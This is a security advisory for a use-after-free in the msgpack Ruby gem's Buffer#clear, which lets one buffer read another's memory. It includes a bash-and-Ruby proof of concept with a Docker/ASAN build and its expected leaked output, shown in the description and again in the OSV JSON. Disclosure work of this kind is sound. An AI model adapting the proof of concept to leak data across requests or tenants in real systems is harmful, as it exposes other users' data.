ghsa-4mrv-5p47-p938

CVSS 2.1 osv_rubygems
Description

### Summary `MessagePack::Buffer#clear` shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (`rmem_last`, `rmem_end`, `rmem_owner`). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second `MessagePack::Buffer` then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption). ### Details - `msgpack_buffer_clear()` → `_msgpack_buffer_shift_chunk()` (`ext/msgpack/buffer.c:151`, `:128`) destroys chunks (`_msgpack_buffer_chunk_destroy`, `:58`, returns the page via `msgpack_rmem_free`) but resets only `tail_buffer_end`/`read_buffer`, leaving `rmem_last`/`rmem_end`/`rmem_owner` pointing into the freed page. - Next `Buffer#write` → `_msgpack_buffer_chunk_malloc()` reuse branch (`:363`) returns `b->rmem_last`, a pointer into the already-freed page. - A second buffer's first write calls `msgpack_rmem_alloc()` and gets the same physical page back from the pool → the two buffers alias the same memory. - Sanitizer note: rmem (`ext/msgpack/rmem.h`) recycles pages with a slab bitmask, not `free()`, so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof. ### PoC Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC): ```bash set -e WORK="$(mktemp -d)"; cd "$WORK" # 1) PoC cat > poc.rb <<'RUBY' b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256) b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000) b1.clear b1.write('C' * 128) secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400) b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096) b2.write(secret) leaked = b1.read_all donor = b2.read_all puts 'b1_first64:' + leaked.byteslice(0, 64) puts 'b2_donor64:' + donor.byteslice(200, 64) puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s RUBY # 2) ASAN build of msgpackfrom rubygems cat > Dockerfile <<'DOCKER' FROM ruby:3.3-bookworm RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/* RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \ cd msgpack-1.8.1/ext/msgpack && \ MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \ make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so DOCKER docker build -t msgpack-asan-poc . # 3) Run under ASAN docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \ bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb' ``` Expected output: ``` b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD leaked_is_C:false cross_buffer_match:true ``` ### Impact Same-process cross-buffer information disclosure and corruption: after `clear` + reuse, one `MessagePack::Buffer` aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the `MessagePack::Buffer` API with a `clear`/reuse lifecycle (a supported performance pattern); not reachable from a plain `unpack` byte stream. Real-world severity **Low–Medium**; clear memory-safety defect with a small, localized fix. ### Credit Pranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))

Timeline
Published
unknown
Last Modified
unknown
CVSS Details

CVSS details not available.

Affected Products

No product information available.

Weaknesses (CWE)
References
Linked Vulnerabilities

No linked vulnerabilities found.

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "<= 1.8.1",
        "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-4mrv-5p47-p938/GHSA-4mrv-5p47-p938.json"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "msgpack",
        "purl": "pkg:gem/msgpack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.3.0",
        "0.3.1",
        "0.3.2",
        "0.3.3",
        "0.3.4",
        "0.3.5",
        "0.3.6",
        "0.3.7",
        "0.3.8",
        "0.3.9",
        "0.4.0",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.5",
        "0.4.6",
        "0.4.7",
        "0.5.0",
        "0.5.1",
        "0.5.10",
        "0.5.11",
        "0.5.12",
        "0.5.2",
        "0.5.3",
        "0.5.4",
        "0.5.5",
        "0.5.6",
        "0.5.7",
        "0.5.8",
        "0.5.9",
        "0.6.0",
        "0.6.0pre1",
        "0.6.1",
        "0.6.2",
        "0.7.0",
        "0.7.0dev1",
        "0.7.1",
        "0.7.2",
        "0.7.2dev1",
        "0.7.3",
        "0.7.4",
        "0.7.5",
        "0.7.6",
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.0.3",
        "1.1.0",
        "1.2.0",
        "1.2.1",
        "1.2.10",
        "1.2.2",
        "1.2.3",
        "1.2.4",
        "1.2.5",
        "1.2.6",
        "1.2.7",
        "1.2.8",
        "1.2.9",
        "1.3.0",
        "1.3.1",
        "1.3.2",
        "1.3.3",
        "1.4.0",
        "1.4.0.pre1",
        "1.4.1",
        "1.4.2",
        "1.4.3",
        "1.4.4",
        "1.4.4.pre1",
        "1.4.5",
        "1.5.0",
        "1.5.1",
        "1.5.2",
        "1.5.3",
        "1.5.4",
        "1.5.5",
        "1.5.6",
        "1.6.0",
        "1.6.1",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "1.7.4",
        "1.7.5",
        "1.8.0",
        "1.8.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-416"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T16:33:12Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\n`MessagePack::Buffer#clear` shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (`rmem_last`, `rmem_end`, `rmem_owner`). The next write sees \"unused rmem space\" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second `MessagePack::Buffer` then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).\n\n### Details\n- `msgpack_buffer_clear()` → `_msgpack_buffer_shift_chunk()` (`ext/msgpack/buffer.c:151`, `:128`) destroys chunks (`_msgpack_buffer_chunk_destroy`, `:58`, returns the page via `msgpack_rmem_free`) but resets only `tail_buffer_end`/`read_buffer`, leaving `rmem_last`/`rmem_end`/`rmem_owner` pointing into the freed page.\n- Next `Buffer#write` → `_msgpack_buffer_chunk_malloc()` reuse branch (`:363`) returns `b->rmem_last`, a pointer into the already-freed page.\n- A second buffer's first write calls `msgpack_rmem_alloc()` and gets the same physical page back from the pool → the two buffers alias the same memory.\n- Sanitizer note: rmem (`ext/msgpack/rmem.h`) recycles pages with a slab bitmask, not `free()`, so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.\n\n### PoC\nSingle self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):\n\n```bash\nset -e\nWORK=\"$(mktemp -d)\"; cd \"$WORK\"\n\n# 1) PoC\ncat > poc.rb <<'RUBY'\nb1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)\nb1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)\nb1.clear\nb1.write('C' * 128)\nsecret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)\nb2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)\nb2.write(secret)\nleaked = b1.read_all\ndonor  = b2.read_all\nputs 'b1_first64:' + leaked.byteslice(0, 64)\nputs 'b2_donor64:' + donor.byteslice(200, 64)\nputs 'leaked_is_C:' + (leaked == 'C' * 128).to_s\nputs 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s\nRUBY\n\n# 2) ASAN build of msgpackfrom rubygems\ncat > Dockerfile <<'DOCKER'\nFROM ruby:3.3-bookworm\nRUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*\nRUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \\\n    cd msgpack-1.8.1/ext/msgpack && \\\n    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \\\n    make -j\"$(nproc)\" && cp msgpack.so ../../lib/msgpack/msgpack.so\nDOCKER\ndocker build -t msgpack-asan-poc .\n\n# 3) Run under ASAN\ndocker run --rm -v \"$WORK/poc.rb:/poc.rb:ro\" msgpack-asan-poc \\\n  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'\n```\n\nExpected output:\n```\nb1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nb2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD\nleaked_is_C:false\ncross_buffer_match:true\n```\n\n### Impact\nSame-process cross-buffer information disclosure and corruption: after `clear` + reuse, one `MessagePack::Buffer` aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the `MessagePack::Buffer` API with a `clear`/reuse lifecycle (a supported performance pattern); not reachable from a plain `unpack` byte stream. Real-world severity **Low–Medium**; clear memory-safety defect with a small, localized fix.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))",
  "id": "GHSA-4mrv-5p47-p938",
  "modified": "2026-09-10T03:51:10.426858154Z",
  "published": "2026-07-30T16:33:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/msgpack/msgpack-ruby/commit/5627d71606b565641d2dd501b82aae862f4abe90"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/msgpack/msgpack-ruby"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/msgpack/CVE-2026-54522.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54522"
    }
  ],
  "schema_version": "1.9.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure"
}
View JSON API Download JSON